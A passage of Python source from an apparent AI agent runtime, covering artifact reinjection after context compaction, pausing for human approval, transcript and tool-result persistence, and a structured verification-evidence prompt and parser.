if not active_subagents or not self.config.system.native_runtime.artifact_compaction.reinject_active_subagents:
return None
lines = ["Active subagents:"]
for item in active_subagents[:8]:
name = str(item.get("name", "") or item.get("agent_id", "") or "subagent").strip()
status = str(item.get("status", "") or "unknown").strip()
description = str(item.get("description", "") or "").strip()
worktree_path = str(item.get("worktree_path", "") or "").strip()
line = f"- {name}: {status}"
if description:
line += f" | {description}"
if worktree_path:
line += f" | worktree={worktree_path}"
lines.append(line)
return build_runtime_artifact_record(
"active_subagents",
"Active Subagents",
self._compact_artifact_text("\n".join(lines)),
metadata={"item_count": len(active_subagents)},
)
def _verification_artifact_record(self, runtime_notes: dict[str, Any]) -> dict[str, Any] | None:
if not self.config.system.native_runtime.artifact_compaction.reinject_verification_state:
return None
verification = dict(runtime_notes.get("verification", {}) or {})
if not verification:
return None
lines = [
f"- Completed: {bool(verification.get('completed', False))}",
f"- Passed: {bool(verification.get('passed', False))}",
f"- Profile: {str(verification.get('profile', '') or '').strip()}",
]
verdict = str(verification.get("verdict", "") or "").strip()
if verdict:
lines.append(f"- Verdict: {verdict}")
status_line = str(verification.get("status_line", "") or "").strip()
if status_line:
lines.append(f"- Status line: {status_line}")
return build_runtime_artifact_record(
"verification_state",
"Verification",
self._compact_artifact_text("Verification state:\n" + "\n".join(lines)),
metadata={"completed": bool(verification.get("completed", False))},
)
def _permission_artifact_record(self, runtime_notes: dict[str, Any]) -> dict[str, Any] | None:
if not self.config.system.native_runtime.artifact_compaction.reinject_permission_state:
return None
details = list(runtime_notes.get("permission_details", []) or [])
if not details:
return None
lines = ["Recent permission decisions:"]
for item in details[-8:]:
tool_name = str(item.get("tool_name", "") or "tool").strip()
resolution = str(item.get("resolution", "") or "allow").strip()
risk_level = str(item.get("risk_level", "") or "low").strip()
source = str(item.get("source", "") or "").strip()
rationale = str(item.get("rationale", "") or "").strip()
line = f"- {tool_name}: {resolution} | risk={risk_level}"
if source:
line += f" | source={source}"
if rationale:
line += f" | {rationale}"
lines.append(line)
return build_runtime_artifact_record(
"permission_state",
"Permission State",
self._compact_artifact_text("\n".join(lines)),
metadata={"item_count": len(details)},
)
def _worktree_artifact_record(
self,
task: Task | None,
active_subagents: list[dict[str, Any]],
) -> dict[str, Any] | None:
path = self._primary_worktree_path(active_subagents)
if not path and task is not None:
path = str(task.metadata.get("target_output_dir", "") or "").strip()
if not path:
return None
return build_runtime_artifact_record(
"worktree_state",
"Worktree",
f"Active worktree path:\n- {path}",
metadata={"path": path},
)
def _resume_artifact_record(
self,
*,
messages: list[dict[str, Any]],
todo_state: list[dict[str, Any]],
runtime_notes: dict[str, Any],
compaction_boundaries: list[dict[str, Any]],
active_subagents: list[dict[str, Any]],
) -> dict[str, Any]:
resume_state = self._build_resume_state(
messages=messages,
todo_state=todo_state,
runtime_notes=runtime_notes,
compaction_boundaries=compaction_boundaries,
active_subagents=active_subagents,
)
lines = [
f"- Message count: {resume_state.get('message_count', 0)}",
f"- Task ledger items: {resume_state.get('task_ledger_items', 0)}",
f"- Compaction records: {len(resume_state.get('compaction_records', []) or [])}",
f"- Active subagents: {resume_state.get('active_subagents', 0)}",
]
verification_status = str(resume_state.get("verification_status", "") or "").strip()
if verification_status:
lines.append(f"- Verification: {verification_status}")
return build_runtime_artifact_record(
"resume_state",
"Resume State",
self._compact_artifact_text("Runtime resume envelope:\n" + "\n".join(lines)),
metadata=resume_state,
)
@staticmethod
def _merge_artifact_records(records: list[dict[str, Any]]) -> list[dict[str, Any]]:
merged: dict[str, dict[str, Any]] = {}
order: list[str] = []
for record in records:
if not isinstance(record, dict):
continue
artifact_type = str(record.get("type", "") or "").strip()
if not artifact_type:
continue
if artifact_type not in order:
order.append(artifact_type)
merged[artifact_type] = dict(record)
return [merged[item] for item in order if item in merged]
def _compose_runtime_artifact_manifest(
self,
*,
task: Task | None,
messages: list[dict[str, Any]],
todo_state: list[dict[str, Any]],
runtime_notes: dict[str, Any],
compaction_boundaries: list[dict[str, Any]],
active_subagents: list[dict[str, Any]],
) -> list[dict[str, Any]]:
if not self.config.system.native_runtime.artifact_compaction.enabled:
return list(runtime_notes.get("artifact_manifest", []) or [])
records: list[dict[str, Any]] = [
*list(runtime_notes.get("artifact_manifest", []) or []),
*list(self._boot_artifact_manifest(task)),
]
for candidate in (
self._task_ledger_artifact_record(todo_state),
self._plan_artifact_record(task),
self._tool_surface_artifact_record(task) if self.config.system.native_runtime.artifact_compaction.reinject_tool_surface_delta else None,
self._skills_artifact_record(task) if self.config.system.native_runtime.artifact_compaction.reinject_skills_delta else None,
self._active_subagents_artifact_record(active_subagents),
self._verification_artifact_record(runtime_notes),
self._permission_artifact_record(runtime_notes),
self._worktree_artifact_record(task, active_subagents),
self._resume_artifact_record(
messages=messages,
todo_state=todo_state,
runtime_notes=runtime_notes,
compaction_boundaries=compaction_boundaries,
active_subagents=active_subagents,
),
):
if candidate is not None:
records.append(candidate)
merged = self._merge_artifact_records(records)
runtime_notes["artifact_manifest"] = list(merged)
runtime_notes["artifact_hashes"] = {
str(item.get("type", "") or ""): str(item.get("content_hash", "") or "")
for item in merged
if str(item.get("type", "") or "").strip()
}
return merged
def _record_to_artifact(self, record: dict[str, Any]) -> RuntimeArtifact | None:
artifact_type = str(record.get("type", "") or "").strip()
title = str(record.get("title", "") or "").strip()
content = self._compact_artifact_text(str(record.get("content", "") or "").strip())
if not artifact_type or not title or not content:
return None
metadata = dict(record.get("metadata", {}) or {})
if record.get("content_hash"):
metadata["content_hash"] = str(record.get("content_hash", "") or "")
return RuntimeArtifact(
artifact_type=artifact_type,
title=title,
content=content,
scope=str(record.get("scope", "runtime") or "runtime"),
metadata=metadata,
)
def _reinject_runtime_artifacts(
self,
messages: list[dict[str, Any]],
*,
task: Task | None,
todo_state: list[dict[str, Any]],
runtime_notes: dict[str, Any],
compaction_boundaries: list[dict[str, Any]],
active_subagents: list[dict[str, Any]],
) -> list[dict[str, Any]]:
cfg = self.config.system.native_runtime.prompt_harness
if not cfg.enabled or not cfg.artifact_messages_enabled or not cfg.reinject_after_compaction:
return messages
manifest = self._compose_runtime_artifact_manifest(
task=task,
messages=messages,
todo_state=todo_state,
runtime_notes=runtime_notes,
compaction_boundaries=compaction_boundaries,
active_subagents=active_subagents,
)
artifacts = [artifact for item in manifest if (artifact := self._record_to_artifact(item)) is not None]
artifact_messages = render_runtime_artifact_messages(
artifacts,
previous_hashes=self._boot_artifact_hashes(task),
emit_delta_messages=cfg.emit_delta_messages,
)
if not artifact_messages:
return strip_runtime_artifact_messages(messages)
base_messages = strip_runtime_artifact_messages(messages)
insert_at = 1
while insert_at < len(base_messages) and str(base_messages[insert_at].get("role", "") or "") == "system":
insert_at += 1
return [
*base_messages[:insert_at],
*artifact_messages,
*base_messages[insert_at:],
]
def _handle_pause_or_peer_wait(
self,
execution_results: list[dict[str, Any]],
aggregated_artifacts: dict[str, Any],
runtime_session_id: str,
*,
task: Task | None,
compaction_boundaries: list[dict[str, Any]],
active_subagents: list[dict[str, Any]],
messages: list[dict[str, Any]],
todo_state: list[dict[str, Any]],
runtime_notes: dict[str, Any],
) -> TaskResult | None:
permission_requests = self._permission_requests_from_results(execution_results)
worktree_path = self._primary_worktree_path(active_subagents)
resume_state = self._build_resume_state(
messages=messages,
todo_state=todo_state,
runtime_notes=runtime_notes,
compaction_boundaries=compaction_boundaries,
active_subagents=active_subagents,
)
artifact_manifest = self._compose_runtime_artifact_manifest(
task=task,
messages=messages,
todo_state=todo_state,
runtime_notes=runtime_notes,
compaction_boundaries=compaction_boundaries,
active_subagents=active_subagents,
)
verification_verdict = str(dict(runtime_notes.get("verification", {}) or {}).get("status_line", "") or "")
for item in execution_results:
call = item["tool_call"]
result = item["result"]
tool_payload = result.get("result", result if isinstance(result, dict) else {})
if not isinstance(tool_payload, dict):
tool_payload = {}
if call.get("function") == "request_user_input" or tool_payload.get("requires_user_input"):
reason = tool_payload.get("reason") or f"Need user input before continuing tool `{call.get('function', '')}`."
return TaskResult(
status=TaskStatus.AWAITING_HUMAN,
content=reason,
artifacts={
**aggregated_artifacts,
"runtime_session_id": runtime_session_id,
"tool_name": call.get("function", ""),
"tool_args": call.get("arguments", {}),
"pause_request": tool_payload,
"permission_requests": permission_requests,
"active_subagents": active_subagents,
"compaction_boundaries": list(compaction_boundaries),
"compaction_records": list(compaction_boundaries),
"worktree_path": worktree_path,
"task_ledger": list(todo_state),
"prefetch_hits": list(runtime_notes.get("prefetch_hits", []) or []),
"verification_verdict": verification_verdict,
"artifact_manifest": list(artifact_manifest),
"resume_state": resume_state,
},
)
if tool_payload.get("requires_peer_wait"):
reason = tool_payload.get("reason") or f"Waiting for peer coordination for `{call.get('function', '')}`."
return TaskResult(
status=TaskStatus.AWAITING_PEER,
content=reason,
artifacts={
**aggregated_artifacts,
"runtime_session_id": runtime_session_id,
"tool_name": call.get("function", ""),
"tool_args": call.get("arguments", {}),
"pause_request": tool_payload,
"permission_requests": permission_requests,
"active_subagents": active_subagents,
"compaction_boundaries": list(compaction_boundaries),
"compaction_records": list(compaction_boundaries),
"worktree_path": worktree_path,
"task_ledger": list(todo_state),
"prefetch_hits": list(runtime_notes.get("prefetch_hits", []) or []),
"verification_verdict": verification_verdict,
"artifact_manifest": list(artifact_manifest),
"resume_state": resume_state,
},
)
approval = dict(result.get("approval", {}) or {})
if approval.get("action") in {"require_input", "escalate"}:
return TaskResult(
status=TaskStatus.AWAITING_HUMAN,
content=str(result.get("error", "") or "Awaiting approval."),
artifacts={
**aggregated_artifacts,
"runtime_session_id": runtime_session_id,
"tool_name": call.get("function", ""),
"tool_args": call.get("arguments", {}),
"approval": approval,
"permission_requests": permission_requests,
"active_subagents": active_subagents,
"compaction_boundaries": list(compaction_boundaries),
"compaction_records": list(compaction_boundaries),
"worktree_path": worktree_path,
"task_ledger": list(todo_state),
"prefetch_hits": list(runtime_notes.get("prefetch_hits", []) or []),
"verification_verdict": verification_verdict,
"artifact_manifest": list(artifact_manifest),
"resume_state": resume_state,
},
)
return None
async def _persist_task_ledger(
self,
*,
runtime_session_id: str,
task: Task | None,
todo_state: list[dict[str, Any]],
runtime_notes: dict[str, Any],
messages: list[dict[str, Any]],
compaction_boundaries: list[dict[str, Any]],
active_subagents: list[dict[str, Any]],
) -> None:
ledger_cfg = self.config.system.native_runtime.task_ledger
if not ledger_cfg.enabled:
return
normalized = self._normalize_todos(todo_state)[: max(1, int(ledger_cfg.max_items or 24))]
runtime_notes["task_ledger"] = list(normalized)
if task is not None and ledger_cfg.persist_to_task_metadata:
task.metadata = dict(task.metadata)
runtime_meta = dict(task.metadata.get("runtime_v2", {}) or {})
runtime_meta["task_ledger"] = list(normalized)
task.metadata["runtime_v2"] = runtime_meta
task.context_snapshot = dict(task.context_snapshot)
task.context_snapshot["runtime_v2"] = runtime_meta
if ledger_cfg.persist_to_runtime_session:
await self._save_runtime_session(
runtime_session_id,
task,
"running",
self._build_runtime_state_metadata(
task=task,
messages=messages,
todo_state=normalized,
runtime_notes=runtime_notes,
compaction_boundaries=compaction_boundaries,
active_subagents=active_subagents,
),
)
if ledger_cfg.emit_runtime_events:
await self._emit_runtime_event(
runtime_session_id,
task,
"task_ledger_updated",
{"task_ledger": list(normalized), "item_count": len(normalized)},
)
def _build_runtime_state_metadata(
self,
*,
task: Task | None,
messages: list[dict[str, Any]],
todo_state: list[dict[str, Any]],
runtime_notes: dict[str, Any],
compaction_boundaries: list[dict[str, Any]],
active_subagents: list[dict[str, Any]],
) -> dict[str, Any]:
artifact_manifest = self._compose_runtime_artifact_manifest(
task=task,
messages=messages,
todo_state=todo_state,
runtime_notes=runtime_notes,
compaction_boundaries=compaction_boundaries,
active_subagents=active_subagents,
)
return {
"task_ledger": list(todo_state),
"prefetch_hits": list(runtime_notes.get("prefetch_hits", []) or []),
"verification": dict(runtime_notes.get("verification", {}) or {}),
"verification_evidence": dict((runtime_notes.get("verification", {}) or {}).get("evidence", {}) or {}),
"verification_verdict": str(dict(runtime_notes.get("verification", {}) or {}).get("status_line", "") or ""),
"compaction_records": list(compaction_boundaries),
"artifact_manifest": list(artifact_manifest),
"resume_state": self._build_resume_state(
messages=messages,
todo_state=todo_state,
runtime_notes=runtime_notes,
compaction_boundaries=compaction_boundaries,
active_subagents=active_subagents,
),
}
def _build_resume_state(
self,
*,
messages: list[dict[str, Any]],
todo_state: list[dict[str, Any]],
runtime_notes: dict[str, Any],
compaction_boundaries: list[dict[str, Any]],
active_subagents: list[dict[str, Any]],
) -> dict[str, Any]:
return {
"message_count": len(messages),
"task_ledger_items": len(todo_state),
"prefetch_hits": list(runtime_notes.get("prefetch_hits", []) or []),
"compaction_records": list(compaction_boundaries),
"active_subagents": len(active_subagents),
"verification_evidence": dict((runtime_notes.get("verification", {}) or {}).get("evidence", {}) or {}),
"verification_status": str(dict(runtime_notes.get("verification", {}) or {}).get("status_line", "") or ""),
"artifact_count": len(list(runtime_notes.get("artifact_manifest", []) or [])),
"artifact_types": [
str(item.get("type", "") or "").strip()
for item in list(runtime_notes.get("artifact_manifest", []) or [])
if isinstance(item, dict) and str(item.get("type", "") or "").strip()
],
}
def _build_verification_prompt(
self,
task: Task | None,
*,
work_item_name: str = "",
turn_type: str = "",
) -> str:
scope = "the parent agent's work"
if work_item_name:
scope = f"the parent agent's company work item `{work_item_name}` ({turn_type or 'execute'})"
contract = [
f"Validate {scope}.",
"You must produce executable verification evidence, not just an opinion.",
"Required format:",
"Check: <what you verified>",
"Command: <exact command you ran>",
"Observed Output: <what you saw>",
"Result: PASS | FAIL",
"Repeat for each check you actually ran.",
"End with exactly one line: VERDICT: PASS or VERDICT: FAIL or VERDICT: PARTIAL.",
"If the work is acceptable overall, you may begin the final summary with `VERIFIED:`.",
"If blocking issues remain, begin the final summary with `ISSUES:`.",
"Do not omit command/output evidence.",
]
if task is not None and str(task.metadata.get("execution_mode", "") or "").strip() == "company_mode":
contract.append(
"Focus on regressions, missing evidence, handoff quality, ownership-contract violations, and risky filesystem or shell changes."
)
else:
contract.append(
"Focus on regressions, missed validation, and risky filesystem or shell changes."
)
return " ".join(contract)
def _parse_verification_evidence(self, text: str) -> VerificationEvidence:
raw = str(text or "").strip()
if not raw:
return VerificationEvidence(status="missing", raw_output=raw)
lines = [line.rstrip() for line in raw.splitlines()]
checks: list[dict[str, Any]] = []
current: dict[str, str] = {}
verdict = ""
summary_lines: list[str] = []
for raw_line in lines:
line = raw_line.strip()
if not line:
continue
normalized_line = self._normalize_verification_contract_line(line)
lowered = normalized_line.lower()
if lowered.startswith("verdict:"):
verdict_value = normalized_line.split(":", 1)[1].strip().lower()
if verdict_value.startswith("pass"):
verdict = "pass"
elif verdict_value.startswith("fail"):
verdict = "fail"
elif verdict_value.startswith("partial"):
verdict = "partial"
continue
if lowered.startswith("check:"):
if current:
checks.append(dict(current))
current = {}
current["check"] = normalized_line.split(":", 1)[1].strip()
continue
if lowered.startswith("command:"):
current["command"] = normalized_line.split(":", 1)[1].strip()
continue
if lowered.startswith("observed output:"):
current["observed_output"] = normalized_line.split(":", 1)[1].strip()
continue
if lowered.startswith("result:"):
current["result"] = normalized_line.split(":", 1)[1].strip().upper()
continue
if normalized_line.startswith("VERIFIED:") or normalized_line.startswith("ISSUES:"):
summary_lines.append(normalized_line)
continue
if current and "observed_output" in current and "result" not in current:
current["observed_output"] = f"{current.get('observed_output', '')}\n{line}".strip()
else:
summary_lines.append(normalized_line)
if current:
checks.append(dict(current))
status = "provided" if checks and verdict else "missing"
summary = "\n".join(summary_lines).strip()
return VerificationEvidence(
status=status,
verdict=verdict,
summary=summary,
checks=checks,
raw_output=raw,
)
@staticmethod
def _verification_unavailable_evidence(*, summary: str, raw_output: str = "") -> VerificationEvidence:
text = str(summary or "").strip() or "Verification unavailable."
return VerificationEvidence(
status="unavailable",
verdict="partial",
summary=text,
checks=[],
raw_output=str(raw_output or text).strip(),
)
def _build_verification_retry_prompt(
self,
task: Task | None,
*,
previous_output: str,
) -> str:
summary = self._build_verification_prompt(task)
if task is not None and str(task.metadata.get("execution_mode", "") or "").strip() == "company_mode":
work_item_name = str(task.title or "").strip()
turn_type = turn_type_for_task(task, fallback="execute")
summary = self._build_verification_prompt(
task,
work_item_name=work_item_name,
turn_type=turn_type,
)
previous = str(previous_output or "").strip()
return (
"Your previous verification response did not satisfy the structured evidence contract. "
"Rewrite the verification result using the required format below. "
"If your earlier pass lacked executable checks, rerun the minimum necessary checks now and report them explicitly.\n\n"
f"{summary}\n\n"
"Previous output:\n"
f"{previous or '[empty]'}"
)
def _apply_verification_contract(
self,
assistant_text: str,
*,
task: Task | None,
todo_state: list[dict[str, Any]],
runtime_notes: dict[str, Any],
) -> tuple[str, str]:
config = self.config.system.native_runtime.verification_contract
if not config.enabled:
return assistant_text, ""
if self._is_task_mode_runtime_task(task):
verification_state = dict(runtime_notes.get("verification", {}) or {})
if verification_state.get("completed"):
verdict = (
f"Verification: verified by {verification_state.get('profile', 'verify')}."
if verification_state.get("passed")
else f"Verification: not verified. {str(verification_state.get('verdict', '')).strip() or 'Issues remain.'}"
)
runtime_notes["verification"] = {
**verification_state,
"status_line": verdict,
"advisory": True,
}
return assistant_text, verdict
return assistant_text, ""
verification_state = dict(runtime_notes.get("verification", {}) or {})
if verification_state.get("completed"):
if verification_state.get("passed"):
verdict = f"Verification: verified by {verification_state.get('profile', 'verify')}."
else:
verdict = f"Verification: not verified. {str(verification_state.get('verdict', '')).strip() or 'Blocking issues remain.'}"
elif self._verification_required(task=task, todo_state=todo_state, runtime_notes=runtime_notes):
verdict = "Verification: not run because the verifier did not complete successfully."
elif task is not None and task.metadata.get(self.config.system.native_runtime.verification_policy.skip_metadata_key):
verdict = "Verification: not run because this task explicitly skipped verification."
else:
verdict = "Verification: not required because no code edits or risky runtime actions were detected."
runtime_notes["verification"] = {
**verification_state,
"status_line": verdict,
}
if not config.append_status_to_final:
return assistant_text, verdict
if not config.require_explicit_status or "verification:" in assistant_text.lower():
return assistant_text, verdict
final_text = assistant_text.strip()
if final_text:
final_text = f"{final_text}\n\n{verdict}"
else:
final_text = verdict
return final_text, verdict
async def _seed_user_turn(
self,
task: Task | None,
user_message: str,
*,
runtime_session_id: str,
conversation_turn_id: str,
) -> None:
if not task or not self.memory_manager or not task.session_id:
return
if task.metadata.get("_runtime_v2_user_seeded"):
return
task.metadata["_runtime_v2_user_seeded"] = True
canonical_turn_id = str(conversation_turn_id or "").strip()
metadata = {
"kind": "runtime_v2_user_turn",
"runtime_session_id": runtime_session_id,
}
if canonical_turn_id:
metadata.update({
"conversation_turn_id": canonical_turn_id,
"canonical_turn_id": canonical_turn_id,
"turn_id": canonical_turn_id,
"ui_message_id": f"runtime-v2-user:{canonical_turn_id}",
})
message = await self.memory_manager.record_user_turn(
session_id=task.session_id,
content=user_message,
project_id=task.project_id,
metadata=metadata,
)
store = getattr(self.memory_manager, "store", None)
if store and hasattr(store, "save_runtime_transcript_entry"):
await store.save_runtime_transcript_entry(
runtime_session_id=runtime_session_id,
task_id=task.id,
session_id=task.session_id,
message_id=getattr(message, "message_id", "") if message else "",
role="user",
entry_type="message",
content=user_message,
metadata=metadata,
)
async def _persist_assistant_turn(
self,
task: Task | None,
assistant_text: str,
tool_calls: list[dict[str, Any]],
*,
runtime_session_id: str,
turn_id: str = "",
conversation_turn_id: str = "",
iteration: int | None = None,
thinking_text: str = "",
) -> None:
if not task or not self.memory_manager or not task.session_id:
return
message_turn_id = str(turn_id or f"{runtime_session_id}:{iteration or ''}").strip().rstrip(":")
canonical_turn_id = str(conversation_turn_id or message_turn_id).strip().rstrip(":")
is_task_mode = self._is_task_mode_runtime_task(task)
is_company_mode = (not is_task_mode) and self._is_company_mode_runtime_task(task)
is_intermediate_tool_turn = bool(tool_calls) and is_task_mode
if is_intermediate_tool_turn:
source_kind = "runtime_v2_intermediate_assistant"
elif is_company_mode:
source_kind = "runtime_v2_company_assistant"
else:
source_kind = "runtime_v2_assistant"
metadata = {
"kind": source_kind,
"runtime_session_id": runtime_session_id,
"source_kind": source_kind,
}
if is_company_mode:
metadata["execution_mode"] = "company_mode"
metadata["company_runtime_raw_turn"] = True
if task.assigned_to:
metadata["role_id"] = str(task.assigned_to)
else:
metadata["visible_speaker"] = "OPC"
if canonical_turn_id:
metadata["conversation_turn_id"] = canonical_turn_id
metadata["canonical_turn_id"] = canonical_turn_id
metadata["turn_id"] = canonical_turn_id
if message_turn_id and message_turn_id != canonical_turn_id:
metadata["execution_turn_id"] = message_turn_id
if is_company_mode:
metadata["ui_message_id"] = f"runtime-v2-company-assistant:{canonical_turn_id}"
elif is_intermediate_tool_turn:
metadata["ui_message_id"] = f"runtime-v2-intermediate-assistant:{message_turn_id or canonical_turn_id}"
else:
metadata["ui_message_id"] = f"runtime-v2-assistant:{canonical_turn_id}"
if iteration is not None:
metadata["iteration"] = iteration
normalized_thinking = str(thinking_text or "").strip()
if normalized_thinking and is_task_mode:
metadata["runtime_thinking"] = normalized_thinking
message = await self.memory_manager.append_session_message(
session_id=task.session_id,
role="assistant",
text=assistant_text,
project_id=task.project_id,
agent_id=task.assigned_to or None,
task_id=task.id,
metadata=metadata,
)
if not message:
return
if normalized_thinking and is_task_mode:
await self.memory_manager.append_session_part(
task.session_id,
message.message_id,
"thinking",
{
"text": normalized_thinking,
"turn_id": canonical_turn_id,
"runtime_session_id": runtime_session_id,
"kind": "runtime_v2_thinking",
},
)
store = getattr(self.memory_manager, "store", None)
if store and hasattr(store, "save_runtime_transcript_entry"):
await store.save_runtime_transcript_entry(
runtime_session_id=runtime_session_id,
task_id=task.id,
session_id=task.session_id,
message_id=message.message_id,
role="assistant",
entry_type="message",
content=assistant_text,
metadata=metadata,
)
for tool_call in tool_calls:
await self.memory_manager.append_session_part(
task.session_id,
message.message_id,
"tool_call",
{
"tool_call_id": tool_call.get("id", ""),
"tool_name": tool_call.get("function", ""),
"arguments": tool_call.get("arguments", {}),
},
)
if store and hasattr(store, "save_runtime_tool_call"):
await store.save_runtime_tool_call(
runtime_session_id=runtime_session_id,
task_id=task.id,
session_id=task.session_id,
message_id=message.message_id,
tool_call_id=str(tool_call.get("id", "") or ""),
tool_name=str(tool_call.get("function", "") or ""),
arguments=dict(tool_call.get("arguments", {}) or {}),
metadata={
"arguments_raw": str(tool_call.get("arguments_raw", "") or ""),
"arguments_parse_error": str(tool_call.get("arguments_parse_error", "") or ""),
},
)
async def _persist_tool_result(
self,
task: Task | None,
call: dict[str, Any],
result: dict[str, Any],
decision: Any,
*,
runtime_session_id: str,
hook_metadata: dict[str, Any] | None = None,
) -> None:
if not task or not self.memory_manager or not task.session_id:
return
message = await self.memory_manager.append_session_message(
session_id=task.session_id,
role="assistant",
text=json.dumps(result, ensure_ascii=False, default=str),
part_type="tool_output",
project_id=task.project_id,
agent_id=task.assigned_to or None,
task_id=task.id,
metadata={
"kind": "runtime_v2_tool_output",
"tool_name": str(call.get("function", "") or ""),
"runtime_session_id": runtime_session_id,
"hook_metadata": dict(hook_metadata or {}),
},
)
if not message:
return
store = getattr(self.memory_manager, "store", None)
await self.memory_manager.append_session_part(
task.session_id,
message.message_id,
"tool_result",
{
"tool_call_id": str(call.get("id", "") or ""),
"tool_name": str(call.get("function", "") or ""),
"result": result.get("result", result),
"permission_decision": {
"resolution": getattr(getattr(decision, "resolution", None), "value", ""),
"scope": getattr(getattr(decision, "scope", None), "value", ""),
"rationale": str(getattr(decision, "rationale", "") or ""),
"source": str(getattr(decision, "source", "") or ""),
},
},
)
if store and hasattr(store, "save_runtime_transcript_entry"):
await store.save_runtime_transcript_entry(
runtime_session_id=runtime_session_id,
task_id=task.id,
session_id=task.session_id,
message_id=message.message_id,
role="assistant",
entry_type="tool_result",
content=json.dumps(result, ensure_ascii=False, default=str),
metadata={"tool_name": str(call.get("function", "") or "")},
)
if store and hasattr(store, "save_runtime_tool_result"):
await store.save_runtime_tool_result(
runtime_session_id=runtime_session_id,
task_id=task.id,
session_id=task.session_id,
message_id=message.message_id,
tool_call_id=str(call.get("id", "") or ""),
tool_name=str(call.get("function", "") or ""),
payload=dict(result),
metadata={
"hook_metadata": dict(hook_metadata or {}),
"permission_decision": {
"resolution": getattr(getattr(decision, "resolution", None), "value", ""),
"scope": getattr(getattr(decision, "scope", None), "value", ""),
"risk_level": getattr(getattr(decision, "risk_level", None), "value", ""),
"rationale": str(getattr(decision, "rationale", "") or ""),
"source": str(getattr(decision, "source", "") or ""),
}
},
)
async def _persist_compaction_boundary(
self,
task: Task | None,
boundary_record: dict[str, Any],
runtime_session_id: str,
) -> None:
if not task or not self.memory_manager or not task.session_id:
return
message = await self.memory_manager.append_session_message(
session_id=task.session_id,
role="assistant",
text=boundary_record["summary"],
project_id=task.project_id,
agent_id=task.assigned_to or None,
task_id=task.id,
summary_flag=True,
metadata={
"kind": "runtime_v2_compaction_boundary",
"runtime_session_id": runtime_session_id,
**boundary_record,
},
)
store = getattr(self.memory_manager, "store", None)
if store and hasattr(store, "save_runtime_transcript_entry"):
await store.save_runtime_transcript_entry(
runtime_session_id=runtime_session_id,
task_id=task.id,
session_id=task.session_id,
message_id=getattr(message, "message_id", "") if message else "",
role="assistant",
entry_type="compaction_boundary",
content=boundary_record["summary"],
metadata=dict(boundary_record),
)
@staticmethod
def _is_task_mode_runtime_task(task: Task | None) -> bool:
if task is None:
return False
metadata = dict(getattr(task, "metadata", {}) or {})
execution_mode = str(metadata.get("execution_mode", "") or "").strip().lower()
if execution_mode == "company_mode":
return False
if execution_mode in {"task_mode", "task", "project_mode", "project"}:
return True
mode = str(metadata.get("mode", "") or "").strip().lower()
task_mode_contract = str(metadata.get("task_mode_contract", "") or "").strip()
runtime_kind = str(metadata.get("runtime_kind", "") or "").strip()
projection_id = str(metadata.get("work_item_projection_id", "") or "").strip()
if projection_id and projection_id != "task_mode_execution":
return False
return (
mode == "task"
or task_mode_contract == "single_full_capability_main_agent"
or runtime_kind == "task_mode_agent_turn"
or projection_id == "task_mode_execution"
)
@staticmethod
def _is_company_mode_runtime_task(task: Task | None) -> bool:
if task is None:
return False
metadata = dict(getattr(task, "metadata", {}) or {})
execution_mode = str(metadata.get("execution_mode", "") or "").strip().lower()
mode = str(metadata.get("mode", "") or "").strip().lower()
task_mode_contract = str(metadata.get("task_mode_contract", "") or "").strip()
runtime_kind = str(metadata.get("runtime_kind", "") or "").strip()
projection_id = str(metadata.get("work_item_projection_id", "") or "").strip()
if (
execution_mode in {"task_mode", "task", "project_mode", "project"}
or task_mode_contract == "single_full_capability_main_agent"
or runtime_kind == "task_mode_agent_turn"
or projection_id == "task_mode_execution"
or (mode == "task" and not projection_id)
):
return False
if execution_mode == "company_mode":
return True
if str(metadata.get("execution_model", "") or "").strip() == "multi_team_org":
return True
if projection_id:
return True
if str(metadata.get("company_profile", "") or "").strip():
return True
return bool(metadata.get("work_item_runtime"))
@staticmethod
def _metadata_flag_enabled(value: Any) -> bool:
if isinstance(value, bool):
return value
if isinstance(value, str):
return value.strip().lower() in {"1", "true", "yes", "on"}
return False
@staticmethod
def _runtime_event_identity_payload(task: Task | None) -> dict[str, str]:
if NativeRuntimeV2._is_task_mode_runtime_task(task):
return {}
return work_item_identity_payload_for_task(task)
@staticmethod
def _permission_group_key(tool_name: str, arguments: dict[str, Any]) -> str:
normalized_tool = str(tool_name or "").strip().casefold()
if normalized_tool != "shell_exec":
return ""
command = str(
arguments.get("command")
or arguments.get("cmd")
or ""
).strip()
command_family = ""
if re.match(r"^(?:python|python3)\b", command, re.IGNORECASE):
command_family = "python"
elif re.match(r"^node\b", command, re.IGNORECASE):
command_family = "node"
if not command_family:
return ""
domains = sorted({
match.group(1).casefold()
for match in re.finditer(r"https?://([^/\s'\"<>]+)", command)
})
domain_key = ",".join(domains) if domains else "no-domain"
return f"tool:shell_exec/{command_family}:domain:{domain_key}"
async def _emit_runtime_event(
self,
runtime_session_id: str,
task: Task | None,
event_type: str,
payload: dict[str, Any],
) -> None:
task_metadata = dict(getattr(task, "metadata", {}) or {}) if task is not None else {}
execution_mode = str(task_metadata.get("execution_mode", "") or "").strip()
if not execution_mode and self._is_task_mode_runtime_task(task):
execution_mode = "task_mode"
event_payload = {
"type": event_type,
"runtime_session_id": runtime_session_id,
"task_id": task.id if task else None,
"session_id": task.session_id if task else None,
"agent_id": task.assigned_to if task else None,
"role_id": task.assigned_to if task else None,
"execution_mode": execution_mode,
**self._runtime_event_identity_payload(task),
"timestamp_ms": int(time.time() * 1000),
**payload,
}
store = getattr(self.memory_manager, "store", None)
if store and hasattr(store, "save_runtime_event"):
await store.save_runtime_event(runtime_session_id, event_type, event_payload)
if self.event_bus:
await self.event_bus.publish(OPCEvent(event_type="runtime_event", payload=event_payload))
def _primary_worktree_path(self, active_subagents: list[dict[str, Any]]) -> str:
for item in active_subagents:
path = str(item.get("worktree_path", "") or "").strip()
if path:
return path
return ""
async def _save_runtime_session(
self,
runtime_session_id: str,
task: Task | None,
status: str,
metadata: dict[str, Any],
) -> None:
if task is not None:
runtime_meta = dict(task.metadata.get("runtime_v2", {}) or {})
runtime_meta.update({
"runtime_session_id": runtime_session_id,
"status": status,
**dict(metadata or {}),
})
task.metadata["runtime_v2"] = runtime_meta
store = getattr(self.memory_manager, "store", None)
if store and hasattr(store, "save_runtime_session"):
await store.save_runtime_session(
runtime_session_id=runtime_session_id,
task_id=task.id if task else None,
session_id=task.session_id if task else None,
project_id=task.project_id if task else "default",
status=status,
metadata=metadata,
)
async def _emit_prompt_prefix_state(
self,
*,
runtime_session_id: str,
task: Task | None,
messages: list[dict[str, Any]],
tool_schemas: list[dict[str, Any]] | None,
base_prefix_len: int,
) -> None:
config = self.config.system.native_runtime.prompt_prefix_stability
if not config.enabled or not config.emit_cache_fingerprint_events:
return
